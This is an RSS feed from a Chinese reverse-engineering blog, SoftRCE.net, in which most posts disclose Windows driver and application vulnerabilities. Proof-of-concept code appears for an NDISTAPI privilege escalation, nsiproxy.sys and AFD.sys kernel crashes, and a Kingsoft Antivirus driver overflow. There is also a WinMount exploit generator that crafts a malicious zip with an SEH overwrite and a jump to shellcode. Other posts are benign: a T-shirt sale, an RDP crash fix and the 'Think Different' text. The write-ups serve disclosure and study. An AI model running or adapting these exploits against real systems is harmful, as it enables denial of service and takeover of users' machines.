SoftRCE.net http://www.softrce.net Software Reverse Code Engineering Tue, 13 Sep 2011 06:58:40 +0000 en hourly 1 http://wordpress.org/?v=3.2.1 Microsoft Windows NDISTAPI本地权限提升漏洞（MS11-062) http://www.softrce.net/archives/405 http://www.softrce.net/archives/405#comments Tue, 13 Sep 2011 06:10:07 +0000 dge http://www.softrce.net/?p=405 #include “stdio.h”
#include “windows.h”

#define NTSTATUS int

int main(int argc, char* argv[])
{

PULONG  pShellcode;
char InputBuffer[4]={0};
ULONG  AllocationSize,dwReturnSize;
HANDLE dev_handle;

SC_HANDLE hscmHandle = NULL;
SC_HANDLE hscDriver = NULL;

PROCESS_INFORMATION pi;
STARTUPINFOA stStartup;

printf(“\n Microsoft Ndistapi.sys Local Privilege Escalation Vulnerability Exploit \n\n”);

dev_handle = CreateFile(“\\\\.\\NDISTAPI” ,GENERIC_READ | GENERIC_WRITE ,0,NULL,CREATE_ALWAYS ,0,0);

DeviceIoControl( dev_handle, 0x8fff23d4, InputBuffer,4,(PVOID)0×80000000,0,&dwReturnSize, NULL);

return 1;
}

Comments

Related posts:

Copyright © 2008
This feed is for personal, non-commercial use only.
The use of this feed on other websites breaches copyright. If this content is not in your news reader, it makes the page you are viewing an infringement of the copyright. (Digital Fingerprint:
8e761b2ea8edc3ca311452b020051837)

随机日志

]]> http://www.softrce.net/archives/405/feed 5 Microsoft Windows Vista/Server 2008 “nsiproxy.sys” Local Kernel DoS Vulnerability http://www.softrce.net/archives/392 http://www.softrce.net/archives/392#comments Wed, 18 May 2011 07:40:11 +0000 dge http://www.softrce.net/?p=392 #!/usr/bin/python
from ctypes import *

kernel32 = windll.kernel32
Psapi    = windll.Psapi

if __name__ == ‘__main__’:
GENERIC_READ  = 0×80000000
GENERIC_WRITE = 0×40000000
OPEN_EXISTING = 0×3
CREATE_ALWAYS = 0×2

SYM_NAME   = “\\\\.\\Nsi”
dwReturn      = c_ulong()
out_buff      = ”
in_buff       = (“\x00\x00\x00\x00\x00\x00\x00\x00\xec\x2d\x39\x6e\x07\x00\x00\x00″
“\x01\x00\x00\x00\x00\x00\x00\x00\x38\x89\x6c\x01\x08\x00\x00\x00″
“\x00\x00\x00\x00\x00\x00\x00\x00\x10\xfa\x78\x00\x28\x00\x00\x00″
“\x38\xfa\x78\x00\x0c\x00\x00\x00″)

handle = kernel32.CreateFileA(SYM_NAME, GENERIC_READ | GENERIC_WRITE,0, None, CREATE_ALWAYS, 0, None)
dev_ioct = kernel32.DeviceIoControl(handle, 0x12003f, in_buff,len(in_buff), out_buff, len(out_buff),byref(dwReturn), None)

Related posts:

Copyright © 2008
This feed is for personal, non-commercial use only.
The use of this feed on other websites breaches copyright. If this content is not in your news reader, it makes the page you are viewing an infringement of the copyright. (Digital Fingerprint:
8e761b2ea8edc3ca311452b020051837)

相关阅读

]]> http://www.softrce.net/archives/392/feed 0 Microsoft Windows xp AFD.sys Local Kernel DoS Vulnerability http://www.softrce.net/archives/381 http://www.softrce.net/archives/381#comments Fri, 08 Apr 2011 03:04:58 +0000 dge http://www.softrce.net/?p=381 ////////////////////////////////////////////////////////////////////////////
//
// Title: Microsoft Windows xp AFD.sys Local Kernel DoS Exploit
//
/////////////////////////////////////////////////////////////////////////////

#include <stdio.h>
#include <Winsock2.h>

#pragma comment (lib, “ws2_32.lib”)

BYTE buf[]={
0xac,0xfd,0xd3,0×00,0×01,0×00,0×00,0×00,0×00,0×00,
0×00,0×00,0×20,0×00,0×00,0×00,0xe8,0xfd,0xd3,0×00,
0xb8,0xfd,0xd3,0×00,0xf8,0xfd,0xd3,0×00,0xc4,0xfd,
0xd3,0×00,0xcc,0xfd,0xd3,0×00};

int main( )
{
WSADATA ws;

SOCKET tcp_socket;
struct sockaddr_in peer;
ULONG  dwReturnSize;

printf(“\n Microsoft Windows xp AFD.sys Local Kernel DoS Exploit \n\n”);
printf(“\t Create by Lufeng Li of Neusoft Corporation. \n\n”);

WSAStartup(0×0202,&ws);

peer.sin_family = AF_INET;
peer.sin_port = htons( 0x01bd );
peer.sin_addr.s_addr = inet_addr( “127.0.0.1″ );

tcp_socket = socket(AF_INET, SOCK_DGRAM, 0);//SOCK_DGRAM

if ( connect(tcp_socket, (struct sockaddr*) &peer, sizeof(struct sockaddr_in)) )
{
printf(“connect error\n”);
exit(0);
}

DeviceIoControl( (HANDLE)tcp_socket,0x000120cf, buf,0×24,buf,0×24,&dwReturnSize, NULL);

return TRUE;
}

Comments

  • 2011年04月22日, gz1x writes: AFD里问题很多，不仅仅是Dos，可以本地提权。
  • 2011年04月23日, dge writes: @gz1x, 搞afd搞了一段时间了，到现在为止只弄出来这个，还得努力啊。

Related posts:

Copyright © 2008
This feed is for personal, non-commercial use only.
The use of this feed on other websites breaches copyright. If this content is not in your news reader, it makes the page you are viewing an infringement of the copyright. (Digital Fingerprint:
8e761b2ea8edc3ca311452b020051837)

相关阅读

]]> http://www.softrce.net/archives/381/feed 2 QQplayer Memory Corruption Vulnerability http://www.softrce.net/archives/369 http://www.softrce.net/archives/369#comments Mon, 21 Mar 2011 02:58:19 +0000 dge http://www.softrce.net/?p=369 影响版本：<= QQplayer 2.8

一个符号扩展的问题出现在MP4Splitter.dll中。

.text:10023EFF                 mov     eax, [esi]
.text:10023F01                 push    0
.text:10023F03                 push    20h
.text:10023F05                 lea     ecx, [esp+40h+buff]
.text:10023F09                 push    ecx
.text:10023F0A                 mov     edx, [eax+0Ch]
.text:10023F0D                 mov     ecx, esi
.text:10023F0F                 call    edx                  ;从文件获取数据。
.text:10023F11                 movsx   eax, [esp+38h+buff]  ;符号扩展产生一个类似0xFFFFFFFX的值。
.text:10023F16                 cmp     eax, 20h
.text:10023F19                 jge     short loc_10023F2E   ;检查被绕过
.text:10023F1B                 mov     [esp+eax+38h+buf], 0 ;恶意数据被用于指针操作，导致栈中的指针数据被破坏。
.text:10023F20                 lea     eax, [esp+38h+buf]
.text:10023F24                 push    eax
.text:10023F25                 lea     ecx, [edi+5Ch]

POC:不放了。

Related posts:

Copyright © 2008
This feed is for personal, non-commercial use only.
The use of this feed on other websites breaches copyright. If this content is not in your news reader, it makes the page you are viewing an infringement of the copyright. (Digital Fingerprint:
8e761b2ea8edc3ca311452b020051837)

Creative Commons Attribution 3.0 Unported This work is licensed under a Creative Commons Attribution 3.0 Unported.

相关阅读

]]> http://www.softrce.net/archives/369/feed 0 金山毒霸2011内核溢出漏洞 http://www.softrce.net/archives/337 http://www.softrce.net/archives/337#comments Mon, 13 Sep 2010 10:04:01 +0000 dge http://www.softrce.net/?p=337 这个漏洞是我7月份报告给金山的，漏洞存在于kavfm.sys中，它没有正确处理用户提交的参数，因此导致了这个溢出漏洞。
在新版本中，这个驱动被去掉了。

影响版本：Kingsoft Antivirus <=v2010.04.26.648

漏洞分析:

.text:00012160
.text:00012160 sub_12160       proc near               ; CODE XREF: sub_129B0+2Fp
.text:00012160
.text:00012160 var_44          = byte ptr -44h
.text:00012160 var_4           = dword ptr -4
.text:00012160 arg_4           = dword ptr  0Ch
.text:00012160
.text:00012160                 push    ebp
.text:00012161                 mov     ebp, esp
.text:00012163                 mov     ecx, [ebp+arg_4]
.text:00012166                 mov     eax, [ecx+60h]
.text:00012169                 sub     esp, 44h
.text:0001216C                 push    ebx
.text:0001216D                 mov     ebx, [eax+IO_STACK_LOCATION.Parameters.DeviceIoControl.InputBufferLength]
.text:00012170                 mov     eax, [eax+IO_STACK_LOCATION.Parameters.DeviceIoControl.IoControlCode]
.text:00012173                 push    esi
.text:00012174                 add     eax, 7FFCFFFCh
.text:00012179                 xor     esi, esi
.text:0001217B                 cmp     eax, 28h        ; switch 41 cases
.text:0001217E                 push    edi
.text:0001217F                 mov     edi, [ecx+IRP.AssociatedIrp.SystemBuffer]
.text:00012182                 ja      loc_122E0       ; default
.text:00012182                                         ; jumptable 0001218F cases 1-3,5-7,9-11,13-15,17-19,21-23,25-27,29-31,33-35,37-39
.text:00012188                 movzx   eax, ds:byte_1231C[eax]
.text:0001218F                 jmp     ds:off_122EC[eax*4] ; switch jump
.text:00012196
.text:00012196 loc_12196:                              ; DATA XREF: .text:off_122ECo
.text:00012196                 push    ebx             ; 拷贝长度是InputBufferLength，是我们可控制的。
.text:00012197                 lea     ecx, [ebp+var_44];
.text:0001219A                 push    edi             ; 如果这个串大于72字节就可以覆盖到返回地址。
.text:0001219B                 push    ecx             ; char *
.text:0001219C                 call    strncpy
.text:000121A1                 add     esp, 0Ch
.text:000121A4                 lea     edx, [ebp+var_44]
.text:000121A7                 push    edx
.text:000121A8                 mov     [ebp+ebx+var_44], 0
.text:000121AD                 call    sub_15410
.text:000121B2                 pop     edi
.text:000121B3                 mov     esi, eax
.text:000121B5                 pop     esi
.text:000121B6                 pop     ebx
.text:000121B7                 mov     esp, ebp
.text:000121B9                 pop     ebp
.text:000121BA                 retn    8

poc:

#!/usr/bin/python

from ctypes import *

kernel32 = windll.kernel32
Psapi    = windll.Psapi

if __name__ == ’__main__’:
GENERIC_READ  = 0×80000000
GENERIC_WRITE = 0×40000000
OPEN_EXISTING = 0×3
CREATE_ALWAYS = 0×2

DEVICE_NAME   = ”\\\\.\\kavfm”
dwReturn      = c_ulong()
out_size      = 1024
in_size       = 1024
in_data       =”
driver_handle1 = kernel32.CreateFileA(DEVICE_NAME, GENERIC_READ | GENERIC_WRITE,
0, None, CREATE_ALWAYS, 0, None)
in_data=1024*’\x80′
dev_ioctl = kernel32.DeviceIoControl(driver_handle1, 0×80030004, in_data,500, 0, 0,byref(dwReturn), None)

EOF

Comments

Copyright © 2008
This feed is for personal, non-commercial use only.
The use of this feed on other websites breaches copyright. If this content is not in your news reader, it makes the page you are viewing an infringement of the copyright. (Digital Fingerprint:
8e761b2ea8edc3ca311452b020051837)

Creative Commons Attribution-NonCommercial-NoDerivs 2.5 China Mainland This work is licensed under a Creative Commons Attribution-NonCommercial-NoDerivs 2.5 China Mainland.

随机日志

]]> http://www.softrce.net/archives/337/feed 3 SoftRCE官方T恤开始订购了~ http://www.softrce.net/archives/320 http://www.softrce.net/archives/320#comments Tue, 03 Aug 2010 09:55:20 +0000 admin http://www.softrce.net/?p=320 样式：

有需求的朋友可以发邮件到robinh00d#sina.cn或lewis_amu#126.com
大小参考：
S 小号 165
M 中号 170
L 大号 175
XL 特大 180
xxl最大号185
xxxl特大号190

Comments

Related posts:

Copyright © 2008
This feed is for personal, non-commercial use only.
The use of this feed on other websites breaches copyright. If this content is not in your news reader, it makes the page you are viewing an infringement of the copyright. (Digital Fingerprint:
8e761b2ea8edc3ca311452b020051837)

随机日志

]]> http://www.softrce.net/archives/320/feed 6 RdpDr.sys Bug Check 0X7E{0xC0000005} http://www.softrce.net/archives/312 http://www.softrce.net/archives/312#comments Wed, 12 May 2010 12:54:49 +0000 eaglenet http://www.softrce.net/?p=312
公司测试组反馈一个BSOD，上下文如下
WARNING: Frame IP not in any known module. Following frames may be wrong.
a99fd26c f6bdcd93 8591ec78 8591ec78 8591ec78 0×0
a99fd284 f6bdd187 8591ec78 8591ec78 859ca8e0 rdpdr!RxLowIoCompletionTail+0×33
a99fd298 f6bc0d2a 8591ec78 a99fd2c8 f6bc10a9 rdpdr!RxLowIoCompletion+0x3f
a99fd2a4 f6bc10a9 8591ec78 00000000 00000016 rdpdr!DrDevice::CompleteRxContext+0x2a
a99fd2c8 f6bb834d a99fd30c 00000000 00000016 rdpdr!DrDevice::CompleteBusyExchange+0x4d
a99fd2f8 f6bc1991 e1370000 856222d8 a99fd370 rdpdr!DrDrive::OnQueryFileInfoCompletion+0x2a5
a99fd31c f6bbe6f9 e1370000 0000002a a99fd370 rdpdr!DrDevice::OnDeviceIoCompletion+0xa9
a99fd33c f6bbe8b6 e1370000 0000002a a99fd370 rdpdr!DrExchangeManager::OnDeviceIoCompletion+0×55
a99fd350 f6bbf543 e1370000 0000002a a99fd370 rdpdr!DrExchangeManager::HandlePacket+0×26
a99fd37c f6bbee66 00000000 858481c3 85848150 rdpdr!DrSession::ReadCompletion+0xc5
a99fd394 804f26c0 00000000 85848150 85945c80 rdpdr!DrSession::ReadCompletionRoutine+0×38
a99fd3c4 f7723864 85498628 00000000 e11cc008 nt!IopfCompleteRequest+0xa2
a99fd400 f772446b 85498628 00000005 00000000 termdd!IcaChannelInputInternal+0x1f4
a99fd428 a968b94e 85aa2fbc 00000005 00000000 termdd!IcaChannelInput+0×41
a99fd45c a9685b25 e11cc008 00590e06 00000032 RDPWD!WDW_OnDataReceived+0×180
a99fd484 a9685949 e11cc82c e11ce12c a99fd400 RDPWD!SM_MCSSendDataCallback+0x12d
a99fd4ec a9685770 00000045 a99fd524 0000004c RDPWD!HandleAllSendDataPDUs+0×155
a99fd508 a9684632 00000045 a99fd524 806e7900 RDPWD!RecognizeMCSFrame+0×32
a99fd530 f7727625 e11cc008 00000000 85590e38 RDPWD!MCSIcaRawInput+0x32c
a99fd550 f79ec1e5 85535504 00000000 85590dec termdd!IcaRawInput+0×53
a99fdd90 f772622f 85590ca0 00000000 855acda8 TDTCP!TdInputThread+0x36f
a99fddac 805d0f72 85665950 00000000 00000000 termdd!_IcaDriverThread+0×51
a99fdddc 805470ee f77261de 85463180 00000000 nt!PspSystemThreadStartup+0×34
00000000 00000000 00000000 00000000 00000000 nt!KiThreadStartup+0×16
触发行为：
3389连接到测试机器上，拷贝文件到测试机，测试机器直接蓝屏
原因：
MS的rdpdr本身就有一个BUG，不能处理以异步方式查询文件信息的IRP。如果上层传来一个异步查询信息的IRP，就会导致这个BSOD。这个BUG
直到VISTA才修补。
解决方法：
在自己初始化IRP的地方设置Irp->Flags = IRP_SYNCHRONOUS_API;把IRP标志为同步IRP即可

Comments

Related posts:

Copyright © 2008
This feed is for personal, non-commercial use only.
The use of this feed on other websites breaches copyright. If this content is not in your news reader, it makes the page you are viewing an infringement of the copyright. (Digital Fingerprint:
8e761b2ea8edc3ca311452b020051837)

随机日志

]]> http://www.softrce.net/archives/312/feed 3 IoRegisterDriverReinitialization 和IoRegisterBootDriverReinitialization http://www.softrce.net/archives/310 http://www.softrce.net/archives/310#comments Fri, 07 May 2010 14:06:55 +0000 eaglenet http://www.softrce.net/?p=310 谁能告诉我下这两个函数注册的回调函数当时所处的系统环境到底有多么细小的区别？ 除开DDK中说的那些

我遇到了一个BSOD，SESSION5_INITIALIZATION_FAILED。现在已经解决，但是解决的是稀里糊涂。

哪位兄弟姐妹能指点下迷经？

Comments

  • 2010年06月6日, yeluosong writes: 绕过主动防御的代码注入方法一点思考 思路实在是太妙了：） 不知道这两个函数当时所处的系统环境这个问题楼主弄明白没，说下我的看法：） IoRegisterBootDriverReinitialization所注册的回调例程执行时机是在系统引导之时，所有boot型驱动加载完之后，执行的。那时内核已经加载，但尚未初始化。 IoRegisterDriverReinitialization所注册的回调例程执行时机有两处，其中一处是scm利用zw咯ader（）加载驱动时调用，另一处是在系统初始化phase3调用
Copyright © 2008
This feed is for personal, non-commercial use only.
The use of this feed on other websites breaches copyright. If this content is not in your news reader, it makes the page you are viewing an infringement of the copyright. (Digital Fingerprint:
8e761b2ea8edc3ca311452b020051837)

随机日志

]]> http://www.softrce.net/archives/310/feed 1 WinMount mou文件格式溢出漏洞分析 http://www.softrce.net/archives/302 http://www.softrce.net/archives/302#comments Wed, 21 Apr 2010 11:55:42 +0000 dge http://www.softrce.net/archives/302 Author：dge

前段时间发现的一个WinMount的漏洞并报给了WinMount，WinMount更新了，所以发布出来。

影响产品:WinMount 3.3.0401

WinMount在处理其mou私有格式的时候存在超长文件名溢出漏洞，这个漏洞存在于7z.dll中，并且可以绕过GS,SAFESEH成功利用。

由于WinMount对mou格式的特殊处理机制导致这个漏洞并不需要通过欺骗点击的方式来触发，只要你在电脑里看到这个精心构造的恶意mou文件，就能触发这个漏洞。

分析：
.text:100B5460 vul_ proc near ; CODE XREF: sub_100B64B0+2EEp
.text:100B5460
.text:100B5460 var_214 = dword ptr -214h
.text:100B5460 var_210 = dword ptr -210h
.text:100B5460 buf_20c = byte ptr -20Ch
.text:100B5460 arg_0 = dword ptr 4
.text:100B5460 arg_4 = dword ptr 8
.text:100B5460 arg_8 = dword ptr 0Ch
.text:100B5460 arg_C = dword ptr 10h
.text:100B5460 arg_10 = dword ptr 14h
.text:100B5460 arg_14 = dword ptr 18h
.text:100B5460 arg_18 = dword ptr 1Ch
.text:100B5460
.text:100B5460 sub esp, 214h
.text:100B5466 mov eax, dword_10101D2C
.text:100B546B xor eax, esp
.text:100B546D mov dword ptr [esp+214h+buf_20c+208h], eax
.text:100B5474 mov ecx, [esp+214h+arg_18]
.text:100B547B mov edx, [esp+214h+arg_4]
.text:100B5482 mov eax, [esp+214h+arg_C]
.text:100B5489 push ebx
.text:100B548A push ebp
.text:100B548B mov ebp, [esp+21Ch+arg_0]
.text:100B5492 push esi
.text:100B5493 mov esi, [esp+220h+arg_8]
.text:100B549A push edi
.text:100B549B mov [esp+224h+var_214], ecx
.text:100B549F push edx
.text:100B54A0 lea ecx, [ebp+58h]
.text:100B54A3 mov [esp+228h+var_210], eax
.text:100B54A7 call sub_100B5260
.text:100B54AC mov edi, [eax]
.text:100B54AE mov byte ptr [esi+6Ch], 1
.text:100B54B2 mov eax, [edi+26h]
.text:100B54B5 mov [esi+20h], eax
.text:100B54B8 mov eax, [edi+2Ah]
.text:100B54BB xor ebx, ebx
.text:100B54BD cmp eax, ebx
.text:100B54BF jz short loc_100B54D0
.text:100B54C1 cmp eax, 0FFFFFFFFh
.text:100B54C4 jz short loc_100B54D0
.text:100B54C6 mov byte ptr [esi+6Bh], 1
.text:100B54CA mov ecx, [edi+2Ah]
.text:100B54CD mov [esi+24h], ecx
.text:100B54D0
.text:100B54D0 loc_100B54D0: ; CODE XREF: vul_vul+5Fj
.text:100B54D0 ; vul_vul+64j
.text:100B54D0 cmp [edi+0Eh], ebx
.text:100B54D3 ja short loc_100B54DA
.text:100B54D5 cmp [edi+0Ah], ebx
.text:100B54D8 jbe short loc_100B54DE
.text:100B54DA
.text:100B54DA loc_100B54DA: ; CODE XREF: vul_vul+73j
.text:100B54DA mov al, 1
.text:100B54DC jmp short loc_100B54E0
.text:100B54DE ; —————————————————————————
.text:100B54DE
.text:100B54DE loc_100B54DE: ; CODE XREF: vul_vul+78j
.text:100B54DE xor al, al
.text:100B54E0
.text:100B54E0 loc_100B54E0: ; CODE XREF: vul_vul+7Cj
.text:100B54E0 test byte ptr [esi+20h], 10h
.text:100B54E4 mov [esi+68h], al
.text:100B54E7 setnbe dl
.text:100B54EA mov [esi+69h], dl
.text:100B54ED mov [esi+6Ah], bl
.text:100B54F0 mov eax, [edi+1Ah]
.text:100B54F3 mov ecx, [edi+1Eh]
.text:100B54F6 mov edx, eax
.text:100B54F8 or edx, ecx
.text:100B54FA jz short loc_100B5512
.text:100B54FC add eax, [esp+224h+arg_10]
.text:100B5503 adc ecx, [esp+224h+arg_14]
.text:100B550A mov [esi+60h], eax
.text:100B550D mov [esi+64h], ecx
.text:100B5510 jmp short loc_100B5518
.text:100B5512 ; —————————————————————————
.text:100B5512
.text:100B5512 loc_100B5512: ; CODE XREF: vul_vul+9Aj
.text:100B5512 mov [esi+60h], ebx
.text:100B5515 mov [esi+64h], ebx
.text:100B5518
.text:100B5518 loc_100B5518: ; CODE XREF: vul_vul+B0j
.text:100B5518 push 206h ; size_t
.text:100B551D lea ecx, [esp+228h+buf_20c+2]
.text:100B5521 xor eax, eax
.text:100B5523 push ebx ; int
.text:100B5524 push ecx ; void *
.text:100B5525 mov word ptr [esp+230h+buf_20c], ax
.text:100B552A call _memset
.text:100B552F add esp, 0Ch
.text:100B5532 push edi ; int
.text:100B5533 lea edx, [esp+228h+buf_20c]
.text:100B5537 push edx ; dst_string
.text:100B5538 push ebp ; int
.text:100B5539 call sub_100B3F90 ;

跟进去

.text:100B3F90 ; int __stdcall sub_100B3F90(int, LPWSTR dst_string, int)
.text:100B3F90 sub_100B3F90 proc near ; CODE XREF: sub_100B3F90+25p
.text:100B3F90 ; vul_vul+D9p
.text:100B3F90
.text:100B3F90 arg_0 = dword ptr 4
.text:100B3F90 dst_string = dword ptr 8
.text:100B3F90 arg_8 = dword ptr 0Ch
.text:100B3F90
.text:100B3F90 push ebx
.text:100B3F91 mov ebx, [esp+4+arg_8]
.text:100B3F95 mov eax, [ebx+5Ch]
.text:100B3F98 push esi
.text:100B3F99 mov esi, [esp+8+dst_string]
.text:100B3F9D push edi
.text:100B3F9E mov edi, ds:lstrcatW
.text:100B3FA4 test eax, eax
.text:100B3FA6 jz short loc_100B3FC2
.text:100B3FA8 cmp dword ptr [eax+56h], 0FFFFFFFFh
.text:100B3FAC jz short loc_100B3FC2
.text:100B3FAE push eax ; int
.text:100B3FAF mov eax, [esp+10h+arg_0]
.text:100B3FB3 push esi ; dst_string
.text:100B3FB4 push eax ; int
.text:100B3FB5 call sub_100B3F90
.text:100B3FBA push offset String2 ; “\\”
.text:100B3FBF push esi ; lpString1
.text:100B3FC0 call edi ; lstrcatW
.text:100B3FC2
.text:100B3FC2 loc_100B3FC2: ; CODE XREF: sub_100B3F90+16j
.text:100B3FC2 ; sub_100B3F90+1Cj
.text:100B3FC2 mov ecx, [ebx+52h]
.text:100B3FC5 push ecx ; lpString2
.text:100B3FC6 push esi ; lpString1
.text:100B3FC7 call edi ; lstrcatW ; 溢出
.text:100B3FC9 pop edi
.text:100B3FCA pop esi
.text:100B3FCB pop ebx
.text:100B3FCC retn 0Ch
.text:100B3FCC sub_100B3F90 endp

接下来会继续调用下边这个函数

.text:100209C0 access_ proc near ; CODE XREF: sub_10020AE0+6Cp
.text:100209C0 ; sub_10021060+105p …
.text:100209C0
.text:100209C0 p_string = dword ptr 4
.text:100209C0
.text:100209C0 push ebx
.text:100209C1 mov ebx, ecx
.text:100209C3 mov eax, [ebx]
.text:100209C5 push esi
.text:100209C6 xor ecx, ecx
.text:100209C8 push edi
.text:100209C9 mov edi, [esp+0Ch+p_string]
.text:100209CD mov dword ptr [ebx+4], 0
.text:100209D4 mov [eax], cx
.text:100209D7 xor esi, esi
.text:100209D9 cmp [edi], cx
.text:100209DC jz short loc_100209E7
.text:100209DE mov edi, edi
.text:100209E0
.text:100209E0 loc_100209E0: ; CODE XREF: access_+25j
.text:100209E0 inc esi
.text:100209E1 cmp [edi+esi*2], cx ; 可以制造出内存读异常—>绕过GS
.text:100209E5 jnz short loc_100209E0
.text:100209E7
.text:100209E7 loc_100209E7: ; CODE XREF: access_+1Cj
.text:100209E7 push esi
.text:100209E8 mov ecx, ebx
.text:100209EA call sub_10002F90
.text:100209EF mov ecx, [ebx]
.text:100209F1 mov edx, edi
.text:100209F3
.text:100209F3 loc_100209F3: ; CODE XREF: access_+42j
.text:100209F3 movzx eax, word ptr [edx]
.text:100209F6 mov [ecx], ax
.text:100209F9 add ecx, 2
.text:100209FC add edx, 2
.text:100209FF test ax, ax
.text:10020A02 jnz short loc_100209F3
.text:10020A04 pop edi
.text:10020A05 mov [ebx+4], esi
.text:10020A08 pop esi
.text:10020A09 mov eax, ebx
.text:10020A0B pop ebx
.text:10020A0C retn 4
.text:10020A0C access_ endp

POC:

用这个脚本产生test.zip，再借助WinMount生成test.mou文件。

import os

sploitfile=”test.zip”
ldf_header =(‘\x50\x4B\x03\x04\x14\x00\x00′
‘\x00\x08\x00\xB7\xAC\xCE\x34\x00\x00\x00′
‘\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00′
‘\xd0\xff’
‘\x00\x00\x00′)
cdf_header = (“\x50\x4B\x01\x02\x14\x00\x14″
“\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00″
“\x00\x00\x00\x00\x00\x00\x00\x00\x00″
“\xd0\xff”
“\x00\x00\x00\x00\x00\x00\x01\x00″
“\x24\x00\x00\x00\x00\x00\x00\x00″)
eofcdf_header = (“\x50\x4B\x05\x06\x00\x00\x00″
“\x00\x01\x00\x01\x00″
“\xfe\xff\x00\x00″
“\xee\xff\x00\x00″
“\x00\x00″)
print ”[+] Preparing payload\n”
size=65484
junk=’A'*420
nseh=’\x89\x8a\x8b\x8c’
seh=’\x84\x5b\xac\x8d’
junk_=’A'*33
jumpto=’\x05\x12\x11\x46\x2d\x11\x11\x46\x50\x46\xac\xe4′#make eax point to shellcode and jump to shellcode
shellcode=(“the shellcode here will be changed into unicode”)#encode by alpha2
junk__=’B'*80
last=’C'*(size-420-len(nseh+seh+junk_+jumpto+junk__+shellcode))
payload=junk+nseh+seh+junk_+jumpto+junk__+shellcode+last+”.wav”
evilzip = ldf_header+payload+cdf_header+payload+eofcdf_header
print ”[+] Removing old zip file\n”
os.system(“del ”+sploitfile)
print ”[+] Writing payload to file\n”
fobj=open(sploitfile,”w”,0)
fobj.write(evilzip)
print ”generate zip file ”+(sploitfile)
fobj.close()
print ’[+] Wrote %d bytes to file sploitfile\n’%(len(evilzip))
print ”[+] Payload length :%d \n”%(len(payload))

EOF

Comments

Copyright © 2008
This feed is for personal, non-commercial use only.
The use of this feed on other websites breaches copyright. If this content is not in your news reader, it makes the page you are viewing an infringement of the copyright. (Digital Fingerprint:
8e761b2ea8edc3ca311452b020051837)

Creative Commons Attribution-NonCommercial-NoDerivs 3.0 Unported This work is licensed under a Creative Commons Attribution-NonCommercial-NoDerivs 3.0 Unported.

相关阅读

]]> http://www.softrce.net/archives/302/feed 1 Think Different http://www.softrce.net/archives/296 http://www.softrce.net/archives/296#comments Thu, 11 Mar 2010 05:01:06 +0000 gz1x http://www.softrce.net/?p=296 本来有大堆的话想说，在iPad推出之后，可是想说的太多以至于理不出头绪。
想起乔布斯在1997年重回苹果担任CEO之后，推出了著名的《Think Different》广告，于是想贴上下面这段话：

向那些疯狂的家伙们致敬。
那些我行我素的家伙。
那些桀骜不驯的家伙。
那些惹事生非的家伙。
那些方孔中的圆桩。
他们总是异想天开，
既不喜欢循规蹈矩，
也不尊重既成事实。
你尽可以赞美他们，否定他们，引用他们，
质疑他们，颂扬抑或是诋毁他们。
不过惟独不能漠视他们。
因为他们进行着变革。
他们推动着人类的进程。
他们是别人眼里的疯子，
却是我们眼中的天才。
因为，只有疯狂到认为
自己能够改变世界的人，
才能真正做到这一点。

Here’s to the crazy ones.
The misfits.
The rebels.
The troublemakers.
The round pegs in the square holes.
The ones who see things differently.
They’re not fond of rules.
And they have no respect for the status quo.
You can quote them, disagree with them, glorify or vilify them.
About the only thing you can’t do is ignore them.
Because they change things.
They push the human race forward.
And while some see them as the crazy ones,
We see genius.
Because the people who are crazy enough to think
they can change the world,
Are the ones who do.

———–

而那些我能想到的字眼：核心价值观，创新理念，创新技能，用户体验…由于想说的太多，就变成了也许什么都不用说。
技术是工具，想改变世界，首先改变理念。

Comments

Copyright © 2008
This feed is for personal, non-commercial use only.
The use of this feed on other websites breaches copyright. If this content is not in your news reader, it makes the page you are viewing an infringement of the copyright. (Digital Fingerprint:
8e761b2ea8edc3ca311452b020051837)

随机日志

]]> http://www.softrce.net/archives/296/feed 2